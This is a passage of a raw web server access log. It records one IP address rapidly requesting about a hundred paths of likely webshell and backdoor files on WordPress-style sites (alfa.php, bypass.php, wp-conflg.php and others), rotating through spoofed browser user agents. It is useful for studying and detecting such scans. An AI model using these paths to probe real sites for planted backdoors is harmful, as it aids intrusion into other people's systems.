HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:23 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:23 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:24 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:24 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:24 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:24 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:25 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:25 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:25 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:25 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:26 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:26 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:27 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:27 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:27 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:27 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:51:28 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:28 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:28 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:28 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:29 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:29 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:51:29 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:29 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:30 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:30 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:30 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:31 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:31 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:31 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:31 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:31 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:32 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:32 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:32 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:51:32 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:33 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:33 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:33 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:33 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:51:34 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:34 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:34 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:34 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:35 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:35 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:51:35 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:35 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:36 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:36 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:51:36 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:36 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:37 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:37 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:37 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:37 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:38 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:38 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:38 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:38 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:39 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:51:39 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:39 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:39 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:40 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:40 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:40 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:40 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:41 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:41 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:41 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:41 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:42 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:42 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:42 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:42 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:51:43 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:51:43 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:43 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:44 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:44 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:44 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:45 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:45 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:45 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:45 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:46 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:51:46 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:46 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:46 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:47 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:47 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:47 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:47 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:47 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:51:48 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:48 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:48 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:48 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:49 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:49 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:49 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:49 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:50 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:50 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:50 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:51 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:51 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:51 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:51 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - 